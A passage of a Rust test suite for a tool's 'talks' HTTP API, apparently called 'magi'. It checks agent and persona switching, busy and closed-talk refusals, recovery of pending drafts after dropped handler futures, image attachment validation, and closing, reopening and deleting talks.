9215 };
9216
9217 let unknown = call("nobody").await.expect_err("unknown agent");
9218 assert_eq!(
9219 unknown.status,
9220 StatusCode::BAD_REQUEST,
9221 "{}",
9222 unknown.message
9223 );
9224
9225 {
9226 let mut claimed = None;
9229 for _ in 0..200 {
9230 claimed = ui.begin_talk_turn(&id).expect("claim");
9231 if claimed.is_some() {
9232 break;
9233 }
9234 tokio::time::sleep(Duration::from_millis(10)).await;
9235 }
9236 let _busy = claimed.expect("free");
9237 let busy = call("second").await.expect_err("busy talk");
9238 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9239 }
9240 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
9241
9242 let Json(view) = call("second").await.expect("switch");
9243 assert_eq!(view.talk.agent, "second");
9244 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
9245 let saved = talks.get(&id).expect("reload");
9246 assert_eq!(saved.agent, "second");
9247 assert_eq!(saved.turns.len(), 1);
9248
9249 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9250 .await
9251 .expect("detail");
9252 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
9253 assert_eq!(roster, ["mock", "second"]);
9254
9255 let mut closed = talks.get(&id).expect("reload");
9256 talk::close(&mut closed, &talks).expect("close");
9257 let refused = call("mock").await.expect_err("closed talk");
9258 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
9259 }
9260
9261 #[tokio::test]
9262 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
9263 let tmp = TempDir::new().expect("tempdir");
9264 let repo = tmp.path().join("repo");
9265 std::fs::create_dir_all(&repo).expect("repo dir");
9266 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9267 let home = TempDir::new().expect("temp home");
9268 let talks = Talks::at(home.path().join("talks"));
9269 let ui = Arc::new(
9270 Ui::new(
9271 Queue::at(home.path().join("queue")),
9272 Questions::at(home.path().join("questions")),
9273 talks.clone(),
9274 home.path().join("runs"),
9275 home.path().to_path_buf(),
9276 repo.clone(),
9277 )
9278 .with_worktrees_root(home.path().join("wt")),
9279 );
9280 let cfg = config_for(&repo).await.expect("discover config");
9281 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9282 let id = talk.id.clone();
9283 let call = |n: u8| {
9284 talk_implementers(
9285 State(Arc::clone(&ui)),
9286 Path(id.clone()),
9287 Json(TalkImplementers { implementers: n }),
9288 )
9289 };
9290
9291 for bad in [0u8, 4] {
9292 let e = call(bad).await.expect_err("out of range");
9293 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
9294 }
9295 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
9296
9297 {
9298 let mut claimed = None;
9299 for _ in 0..200 {
9300 claimed = ui.begin_talk_turn(&id).expect("claim");
9301 if claimed.is_some() {
9302 break;
9303 }
9304 tokio::time::sleep(Duration::from_millis(10)).await;
9305 }
9306 let _busy = claimed.expect("free");
9307 let busy = call(2).await.expect_err("busy talk");
9308 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9309 }
9310
9311 let Json(view) = call(3).await.expect("switch");
9312 assert_eq!(view.talk.implementers, 3);
9313 assert!(talks.get(&id).expect("reload").implementers_dirty);
9314
9315 let mut closed = talks.get(&id).expect("reload");
9316 talk::close(&mut closed, &talks).expect("close");
9317 let e = call(2).await.expect_err("closed talk");
9318 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
9319 }
9320
9321 #[tokio::test]
9322 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
9323 let tmp = TempDir::new().expect("tempdir");
9324 let repo = tmp.path().join("repo");
9325 std::fs::create_dir_all(&repo).expect("repo dir");
9326 std::fs::write(
9327 repo.join("magi.toml"),
9328 format!(
9329 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
9330 ),
9331 )
9332 .expect("write magi.toml");
9333 let home = TempDir::new().expect("temp home");
9334 let talks = Talks::at(home.path().join("talks"));
9335 let ui = Arc::new(
9336 Ui::new(
9337 Queue::at(home.path().join("queue")),
9338 Questions::at(home.path().join("questions")),
9339 talks.clone(),
9340 home.path().join("runs"),
9341 home.path().to_path_buf(),
9342 repo.clone(),
9343 )
9344 .with_worktrees_root(home.path().join("wt")),
9345 );
9346 let cfg = config_for(&repo).await.expect("discover config");
9347 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9348 let id = talk.id.clone();
9349 let call = |persona: &str| {
9350 talk_persona(
9351 State(Arc::clone(&ui)),
9352 Path(id.clone()),
9353 Json(TalkPersona {
9354 persona: persona.to_owned(),
9355 }),
9356 )
9357 };
9358
9359 let unknown = call("nobody").await.expect_err("unknown persona");
9360 assert_eq!(
9361 unknown.status,
9362 StatusCode::BAD_REQUEST,
9363 "{}",
9364 unknown.message
9365 );
9366
9367 {
9368 let mut claimed = None;
9369 for _ in 0..200 {
9370 claimed = ui.begin_talk_turn(&id).expect("claim");
9371 if claimed.is_some() {
9372 break;
9373 }
9374 tokio::time::sleep(Duration::from_millis(10)).await;
9375 }
9376 let _busy = claimed.expect("free");
9377 let busy = call("rei").await.expect_err("busy talk");
9378 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9379 }
9380 assert_eq!(talks.get(&id).expect("reload").persona, "");
9381
9382 let Json(view) = call("gendo").await.expect("switch to a configured persona");
9383 assert_eq!(view.talk.persona, "gendo");
9384 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
9385
9386 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9387 .await
9388 .expect("detail");
9389 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
9390 assert_eq!(ids.first(), Some(&"default"));
9391 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
9392
9393 let Json(view) = call("default").await.expect("back to default");
9394 assert_eq!(view.talk.persona, "");
9395
9396 let mut closed = talks.get(&id).expect("reload");
9397 talk::close(&mut closed, &talks).expect("close");
9398 let refused = call("rei").await.expect_err("closed talk");
9399 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
9400 }
9401
9402 #[tokio::test]
9403 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
9404 let f = Fixture::start().await;
9405 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
9406 let queue = f.queue();
9407 let mut mine = Task::new(
9408 "rename the loader".to_owned(),
9409 "rename the loader".to_owned(),
9410 PathBuf::from("/repo/magi"),
9411 Source::Agent {
9412 run: talk_id.clone(),
9413 node: "chat".to_owned(),
9414 },
9415 );
9416 queue.put(&mut mine).expect("file the task");
9417 let mut theirs = Task::new(
9418 "unrelated".to_owned(),
9419 "unrelated".to_owned(),
9420 PathBuf::from("/repo/magi"),
9421 Source::Human,
9422 );
9423 queue.put(&mut theirs).expect("file the task");
9424
9425 let res = f.get(&format!("/api/talks/{talk_id}")).await;
9426 assert_eq!(res.status, 200, "{}", res.body);
9427 let body = res.json();
9428 assert_eq!(
9429 body["status"], "open",
9430 "filing a task does not close a talk"
9431 );
9432 let tasks = body["tasks"].as_array().expect("tasks array");
9433 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
9434 assert_eq!(tasks[0]["id"], mine.id);
9435 }
9436
9437 #[tokio::test]
9438 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
9439 let (_tmp, _repo, f) = talk_fixture().await;
9440 let id = f.post("/api/talks", None).await.json()["id"]
9441 .as_str()
9442 .expect("id")
9443 .to_owned();
9444
9445 let res = f
9446 .post(
9447 &format!("/api/talks/{id}/say"),
9448 Some(r#"{"text":"what does the queue module do?"}"#),
9449 )
9450 .await;
9451 assert_eq!(res.status, 202, "{}", res.body);
9452 let queued = res.json();
9453 let turns = queued["turns"].as_array().expect("turns array");
9454 assert_eq!(
9455 turns.len(),
9456 1,
9457 "the answer reflects only what is on disk the instant it is sent, \
9458 before the agent's turn - which can run for the whole of \
9459 `[graph] timeout_talk` - has a chance to land: {queued}"
9460 );
9461 assert_eq!(turns[0]["who"], "operator");
9462 assert_eq!(turns[0]["body"], "what does the queue module do?");
9463 assert_eq!(
9464 queued["thinking"], true,
9465 "the accepted response exposes the background turn claim: {queued}"
9466 );
9467
9468 let mut turns_after = 1;
9469 for _ in 0..SETTLE_STEPS {
9470 let detail = f.get(&format!("/api/talks/{id}")).await.json();
9471 turns_after = detail["turns"].as_array().expect("turns array").len();
9472 if turns_after == 2 {
9473 break;
9474 }
9475 tokio::time::sleep(Duration::from_millis(10)).await;
9476 }
9477 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
9478 }
9479
9480 #[tokio::test]
9507 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
9508 let tmp = TempDir::new().expect("tempdir");
9509 let repo = tmp.path().join("repo");
9510 std::fs::create_dir_all(&repo).expect("repo dir");
9511 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9512 let home = TempDir::new().expect("temp home");
9513 let talks = Talks::at(home.path().join("talks"));
9514 let ui = Arc::new(
9515 Ui::new(
9516 Queue::at(home.path().join("queue")),
9517 Questions::at(home.path().join("questions")),
9518 talks.clone(),
9519 home.path().join("runs"),
9520 home.path().to_path_buf(),
9521 repo.clone(),
9522 )
9523 .with_worktrees_root(home.path().join("wt")),
9524 );
9525 let cfg = config_for(&repo).await.expect("discover config");
9526
9527 for delay in 0..40u32 {
9528 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9529 let id = talk.id.clone();
9530
9531 let handler = tokio::spawn(talk_say(
9532 State(Arc::clone(&ui)),
9533 Path(id.clone()),
9534 Ok(Json(NewTalkTurn {
9535 text: "what does the queue module do?".to_owned(),
9536 attachments: Vec::new(),
9537 })),
9538 ));
9539 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
9540 handler.abort();
9541 let _ = handler.await;
9544
9545 let mut turns = 0;
9546 for _ in 0..SETTLE_STEPS {
9547 if let Ok(fresh) = talks.get(&id) {
9548 turns = fresh.turns.len();
9549 if turns != 1 {
9550 break;
9551 }
9552 }
9553 tokio::time::sleep(Duration::from_millis(10)).await;
9554 }
9555 assert_ne!(
9556 turns, 1,
9557 "delay {delay}: talk {id} recorded the operator's turn but \
9558 the agent never answered - the reply task was never \
9559 started after the handler future was dropped"
9560 );
9561 }
9562 }
9563
9564 #[tokio::test]
9609 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
9610 let tmp = TempDir::new().expect("tempdir");
9611 let repo = tmp.path().join("repo");
9612 std::fs::create_dir_all(&repo).expect("repo dir");
9613 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9614 let home = TempDir::new().expect("temp home");
9615 let talks = Talks::at(home.path().join("talks"));
9616 let ui = Arc::new(
9617 Ui::new(
9618 Queue::at(home.path().join("queue")),
9619 Questions::at(home.path().join("questions")),
9620 talks.clone(),
9621 home.path().join("runs"),
9622 home.path().to_path_buf(),
9623 repo.clone(),
9624 )
9625 .with_worktrees_root(home.path().join("wt")),
9626 );
9627 let cfg = config_for(&repo).await.expect("discover config");
9628
9629 for attempt in 0..3u32 {
9630 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9631 let id = talk.id.clone();
9632 let turn_guard = ui
9635 .begin_talk_turn(&id)
9636 .expect("claim the turn")
9637 .expect("a fresh talk owes nobody a turn");
9638
9639 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
9640 let (release_tx, release_rx) = std::sync::mpsc::channel();
9641 ui.set_busy_queue_gate(BusyQueueGate {
9642 reached: reached_tx,
9643 release: release_rx,
9644 });
9645
9646 let handler = tokio::spawn(talk_say(
9647 State(Arc::clone(&ui)),
9648 Path(id.clone()),
9649 Ok(Json(NewTalkTurn {
9650 text: "what does the queue module do?".to_owned(),
9651 attachments: Vec::new(),
9652 })),
9653 ));
9654
9655 tokio::time::timeout(Duration::from_secs(5), reached_rx)
9660 .await
9661 .unwrap_or_else(|_| {
9662 panic!(
9663 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
9664 )
9665 })
9666 .expect("the busy branch dropped the gate without using it");
9667
9668 let running = talks.get(&id).expect("reload talk");
9675 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
9676
9677 handler.abort();
9681 let _ = handler.await;
9682
9683 let _ = release_tx.send(());
9689
9690 let mut fresh = talks.get(&id).expect("reload talk");
9693 for _ in 0..SETTLE_STEPS {
9694 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
9695 break;
9696 }
9697 tokio::time::sleep(Duration::from_millis(10)).await;
9698 fresh = talks.get(&id).expect("reload talk");
9699 }
9700 assert!(
9701 fresh.pending.is_empty() && fresh.turns.len() == 2,
9702 "attempt {attempt}: talk {id} left the operator's text queued \
9703 with no drainer - the reclaimed turn was dropped along with \
9704 the handler future (pending {:?}, {} turns)",
9705 fresh.pending,
9706 fresh.turns.len()
9707 );
9708 }
9709 }
9710
9711 #[tokio::test]
9712 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
9713 let (_tmp, _repo, f) = talk_fixture().await;
9714 let id = f.post("/api/talks", None).await.json()["id"]
9715 .as_str()
9716 .expect("id")
9717 .to_owned();
9718 let store = f.talks();
9719 let mut recovered = store.get(&id).expect("opened talk");
9720 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9721 .expect("persist pending draft without a live turn");
9722
9723 let edited = f
9724 .post(
9725 &format!("/api/talks/{id}/pending/edit"),
9726 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
9727 )
9728 .await;
9729 assert_eq!(edited.status, 200, "{}", edited.body);
9730 assert!(edited.json()["thinking"].as_bool().unwrap());
9731
9732 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
9733 for _ in 0..SETTLE_STEPS {
9734 if detail["turns"].as_array().expect("turns").len() == 2 {
9735 break;
9736 }
9737 tokio::time::sleep(Duration::from_millis(10)).await;
9738 detail = f.get(&format!("/api/talks/{id}")).await.json();
9739 }
9740 let turns = detail["turns"].as_array().expect("turns");
9741 assert_eq!(
9742 turns.len(),
9743 2,
9744 "the recovered draft must run once: {detail}"
9745 );
9746 assert_eq!(turns[0]["body"], "corrected");
9747 assert_eq!(detail["pending"], "");
9748 }
9749
9750 #[tokio::test]
9751 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
9752 let tmp = TempDir::new().expect("tempdir");
9753 let repo = tmp.path().join("repo");
9754 std::fs::create_dir_all(&repo).expect("repo dir");
9755 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9756 let f = Fixture::with_repo(repo).await;
9757 let id = f.post("/api/talks", None).await.json()["id"]
9758 .as_str()
9759 .expect("id")
9760 .to_owned();
9761 let store = f.talks();
9762 let mut recovered = store.get(&id).expect("opened talk");
9763 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9764 .expect("persist pending draft without a live turn");
9765
9766 let refused = f
9767 .post(
9768 &format!("/api/talks/{id}/say"),
9769 Some(r#"{"text":"new message"}"#),
9770 )
9771 .await;
9772 assert_eq!(refused.status, 409, "{}", refused.body);
9773 assert!(refused.body.contains("resume"), "{}", refused.body);
9774 let saved = store.get(&id).expect("draft remains after refusal");
9775 assert!(saved.turns.is_empty());
9776 assert_eq!(saved.pending, "saved before restart");
9777
9778 let say_path = format!("/api/talks/{id}/say");
9779 let (first, second) = tokio::join!(
9780 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
9781 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
9782 );
9783 assert_eq!(first.status, 409, "{}", first.body);
9784 assert_eq!(second.status, 409, "{}", second.body);
9785 let saved = store
9786 .get(&id)
9787 .expect("draft remains after concurrent refusals");
9788 assert!(saved.turns.is_empty());
9789 assert_eq!(saved.pending, "saved before restart");
9790
9791 let resumed = f
9792 .post(&format!("/api/talks/{id}/pending/resume"), None)
9793 .await;
9794 assert_eq!(resumed.status, 202, "{}", resumed.body);
9795 let duplicate = f
9796 .post(&format!("/api/talks/{id}/pending/resume"), None)
9797 .await;
9798 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
9799
9800 for _ in 0..SETTLE_STEPS {
9801 if store.get(&id).expect("talk").turns.len() == 2 {
9802 break;
9803 }
9804 tokio::time::sleep(Duration::from_millis(10)).await;
9805 }
9806 let finished = store.get(&id).expect("finished talk");
9807 assert_eq!(finished.turns.len(), 2, "{finished:?}");
9808 assert_eq!(finished.turns[0].body, "saved before restart");
9809 assert!(finished.pending.is_empty());
9810 }
9811
9812 #[tokio::test]
9813 async fn an_image_only_recovered_draft_resumes_without_text() {
9814 let (_tmp, _repo, f) = talk_fixture().await;
9815 let id = f.post("/api/talks", None).await.json()["id"]
9816 .as_str()
9817 .expect("id")
9818 .to_owned();
9819 let uploaded = f
9820 .post_bytes(
9821 &format!("/api/talks/{id}/attachments"),
9822 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
9823 PNG_BYTES,
9824 )
9825 .await;
9826 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9827 let attachment = f
9828 .talks()
9829 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
9830 .expect("attachment metadata")
9831 .expect("stored attachment");
9832 let store = f.talks();
9833 let mut recovered = store.get(&id).expect("opened talk");
9834 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
9835
9836 let resumed = f
9837 .post(&format!("/api/talks/{id}/pending/resume"), None)
9838 .await;
9839 assert_eq!(resumed.status, 202, "{}", resumed.body);
9840 for _ in 0..SETTLE_STEPS {
9841 if store.get(&id).expect("talk").turns.len() == 2 {
9842 break;
9843 }
9844 tokio::time::sleep(Duration::from_millis(10)).await;
9845 }
9846 let finished = store.get(&id).expect("finished talk");
9847 assert_eq!(finished.turns.len(), 2, "{finished:?}");
9848 assert!(finished.turns[0].body.is_empty());
9849 assert_eq!(finished.turns[0].attachments.len(), 1);
9850 assert!(finished.pending_attachments.is_empty());
9851 }
9852
9853 #[tokio::test]
9854 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
9855 let (_tmp, _repo, f) = talk_fixture().await;
9856 let id = f.post("/api/talks", None).await.json()["id"]
9857 .as_str()
9858 .expect("id")
9859 .to_owned();
9860 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9861 assert_eq!(closed.status, 200, "{}", closed.body);
9862 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9863 .expect("serialize closed talk");
9864 for (path, body) in [
9865 (format!("/api/talks/{id}/pending/resume"), None),
9866 (
9867 format!("/api/talks/{id}/pending/clear"),
9868 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
9869 ),
9870 (
9871 format!("/api/talks/{id}/pending/edit"),
9872 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
9873 ),
9874 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
9875 ] {
9876 let response = f.post(&path, body).await;
9877 assert_eq!(response.status, 409, "{}", response.body);
9878 }
9879 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9880 .expect("serialize closed talk");
9881 assert_eq!(
9882 after_clear, before_clear,
9883 "clear must not rewrite a closed talk"
9884 );
9885 }
9886
9887 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
9890
9891 #[tokio::test]
9892 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
9893 let tmp = TempDir::new().expect("tempdir");
9894 let repo = tmp.path().join("repo");
9895 std::fs::create_dir_all(&repo).expect("repo dir");
9896 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9897 let f = Fixture::with_repo(repo).await;
9898 let id_a = f.post("/api/talks", None).await.json()["id"]
9899 .as_str()
9900 .unwrap()
9901 .to_owned();
9902 let id_b = f.post("/api/talks", None).await.json()["id"]
9903 .as_str()
9904 .unwrap()
9905 .to_owned();
9906
9907 let a = f
9908 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
9909 .await;
9910 assert_eq!(a.status, 202, "{}", a.body);
9911 assert_eq!(a.json()["thinking"], true);
9912 let b = f
9913 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
9914 .await;
9915 assert_eq!(b.status, 202, "{}", b.body);
9916 assert_eq!(b.json()["thinking"], true);
9917
9918 let listed = f.get("/api/talks").await.json();
9919 for id in [&id_a, &id_b] {
9920 let view = listed
9921 .as_array()
9922 .unwrap()
9923 .iter()
9924 .find(|talk| talk["id"] == *id)
9925 .unwrap();
9926 assert_eq!(view["thinking"], true, "{listed}");
9927 }
9928 let repeated = f
9929 .post(
9930 &format!("/api/talks/{id_a}/say"),
9931 Some(r#"{"text":"again"}"#),
9932 )
9933 .await;
9934 assert_eq!(repeated.status, 202, "{}", repeated.body);
9935 assert_eq!(repeated.json()["pending"], "again");
9936 }
9937
9938 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
9941
9942 #[tokio::test]
9943 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
9944 let f = Fixture::start().await;
9945 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
9946
9947 let res = f
9948 .post_bytes(
9949 &format!("/api/talks/{id}/attachments"),
9950 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9951 PNG_BYTES,
9952 )
9953 .await;
9954 assert_eq!(res.status, 201, "{}", res.body);
9955 let body = res.json();
9956 assert_eq!(body["name"], "shot.png");
9957 assert_eq!(body["mime"], "image/png");
9958 assert_eq!(body["bytes"], PNG_BYTES.len());
9959 let att_id = body["id"].as_str().expect("id").to_owned();
9960 assert_eq!(
9961 att_id.len(),
9962 32,
9963 "the id must never be a client-suppliable path: {att_id}"
9964 );
9965
9966 let got = f
9967 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
9968 .await;
9969 assert_eq!(got.status, 200, "{}", got.body);
9970 assert_eq!(got.header("content-type"), Some("image/png"));
9971 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
9972 assert_eq!(got.bytes, PNG_BYTES);
9973 }
9974
9975 #[tokio::test]
9976 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
9977 let f = Fixture::start().await;
9978 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
9979
9980 let svg = f
9983 .post_bytes(
9984 &format!("/api/talks/{id}/attachments"),
9985 &[("Content-Type", "image/svg+xml")],
9986 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
9987 )
9988 .await;
9989 assert!(
9990 (400..500).contains(&svg.status),
9991 "svg must be refused: {} {}",
9992 svg.status,
9993 svg.body
9994 );
9995 assert!(svg.body.contains("SVG"), "{}", svg.body);
9996
9997 let text = f
9998 .post_bytes(
9999 &format!("/api/talks/{id}/attachments"),
10000 &[("Content-Type", "text/plain")],
10001 b"just some text",
10002 )
10003 .await;
10004 assert!(
10005 (400..500).contains(&text.status),
10006 "an unlisted type must be refused: {} {}",
10007 text.status,
10008 text.body
10009 );
10010
10011 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
10014 let big = f
10015 .post_bytes(
10016 &format!("/api/talks/{id}/attachments"),
10017 &[("Content-Type", "image/png")],
10018 &oversized,
10019 )
10020 .await;
10021 assert_eq!(
10022 big.status,
10023 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
10024 "{}",
10025 big.body
10026 );
10027 }
10028
10029 #[tokio::test]
10030 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
10031 let f = Fixture::start().await;
10032 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
10033
10034 let res = f
10037 .post_bytes(
10038 &format!("/api/talks/{id}/attachments"),
10039 &[("Content-Type", "image/png")],
10040 b"<html>not a picture</html>",
10041 )
10042 .await;
10043 assert!((400..500).contains(&res.status), "{}", res.body);
10044 }
10045
10046 #[tokio::test]
10047 async fn an_unknown_attachment_id_is_a_404() {
10048 let f = Fixture::start().await;
10049 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
10050
10051 let res = f
10052 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
10053 .await;
10054 assert_eq!(res.status, 404, "{}", res.body);
10055 }
10056
10057 #[tokio::test]
10058 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
10059 let f = Fixture::start().await;
10060 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
10061
10062 let uploaded = f
10063 .post_bytes(
10064 &format!("/api/talks/{id}/attachments"),
10065 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
10066 PNG_BYTES,
10067 )
10068 .await;
10069 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
10070 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
10071
10072 let res = f
10073 .post(
10074 &format!("/api/talks/{id}/say"),
10075 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
10076 )
10077 .await;
10078 assert_eq!(res.status, 202, "{}", res.body);
10079 let queued = res.json();
10080 let turns = queued["turns"].as_array().expect("turns array");
10081 assert_eq!(
10082 turns.len(),
10083 1,
10084 "an empty body with an attachment is still a turn: {queued}"
10085 );
10086 assert_eq!(turns[0]["who"], "operator");
10087 assert_eq!(turns[0]["body"], "");
10088 let atts = turns[0]["attachments"]
10089 .as_array()
10090 .expect("attachments array");
10091 assert_eq!(atts.len(), 1);
10092 assert_eq!(atts[0]["id"], att_id);
10093 assert_eq!(atts[0]["mime"], "image/png");
10094
10095 let on_disk = f.talks().get(&id).expect("get");
10098 assert_eq!(on_disk.turns[0].attachments.len(), 1);
10099 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
10100 }
10101
10102 #[tokio::test]
10103 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
10104 let f = Fixture::start().await;
10105 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
10106
10107 let res = f
10108 .post(
10109 &format!("/api/talks/{id}/say"),
10110 Some(&format!(
10111 r#"{{"text":"hi","attachments":["{}"]}}"#,
10112 "a".repeat(32)
10113 )),
10114 )
10115 .await;
10116 assert!((400..500).contains(&res.status), "{}", res.body);
10117 assert!(res.body.contains("unknown attachment"), "{}", res.body);
10118
10119 let on_disk = f.talks().get(&id).expect("get");
10120 assert!(
10121 on_disk.turns.is_empty(),
10122 "a rejected attachment id must not partially record the turn: {:?}",
10123 on_disk.turns
10124 );
10125 }
10126
10127 #[tokio::test]
10128 async fn talk_close_makes_the_talk_refuse_further_turns() {
10129 let f = Fixture::start().await;
10130 let id = seed_talk(&f, "20260904-014455-cd34", "open");
10131
10132 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
10133 assert_eq!(closed.status, 200, "{}", closed.body);
10134 assert_eq!(closed.json()["status"], "closed");
10135
10136 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
10138 assert_eq!(closed_again.status, 200);
10139 assert_eq!(closed_again.json()["status"], "closed");
10140
10141 let said = f
10142 .post(
10143 &format!("/api/talks/{id}/say"),
10144 Some(r#"{"text":"too late"}"#),
10145 )
10146 .await;
10147 assert_eq!(said.status, 409, "{}", said.body);
10148 }
10149
10150 #[tokio::test]
10151 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
10152 let (_tmp, _repo, f) = talk_fixture().await;
10153 let id = f.post("/api/talks", None).await.json()["id"]
10154 .as_str()
10155 .expect("id")
10156 .to_owned();
10157 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
10158 assert_eq!(closed.status, 200, "{}", closed.body);
10159
10160 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
10161 assert_eq!(reopened.status, 200, "{}", reopened.body);
10162 assert_eq!(reopened.json()["status"], "open");
10163
10164 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
10166 assert_eq!(reopened_again.status, 200);
10167 assert_eq!(reopened_again.json()["status"], "open");
10168
10169 let said = f
10170 .post(
10171 &format!("/api/talks/{id}/say"),
10172 Some(r#"{"text":"still there?"}"#),
10173 )
10174 .await;
10175 assert_eq!(
10176 said.status, 202,
10177 "a reopened talk accepts turns again: {}",
10178 said.body
10179 );
10180 }
10181
10182 #[tokio::test]
10183 async fn talk_reopen_on_an_unknown_id_is_404() {
10184 let f = Fixture::start().await;
10185 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
10186 assert_eq!(res.status, 404, "{}", res.body);
10187 }
10188
10189 #[tokio::test]
10190 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
10191 let f = Fixture::start().await;
10192 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
10193
10194 let deleted = f.delete(&format!("/api/talks/{id}")).await;
10195 assert_eq!(deleted.status, 204, "{}", deleted.body);
10196
10197 let after = f.get(&format!("/api/talks/{id}")).await;
10198 assert_eq!(after.status, 404, "{}", after.body);
10199
10200 let listed = f.get("/api/talks").await.json();
10201 assert!(
10202 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
10203 "a deleted talk must not linger in the list: {listed}"
10204 );
10205 }
10206
10207 #[tokio::test]
10208 async fn talk_delete_on_an_unknown_id_is_404() {
10209 let f = Fixture::start().await;
10210 let res = f.delete("/api/talks/nonexistent-id").await;
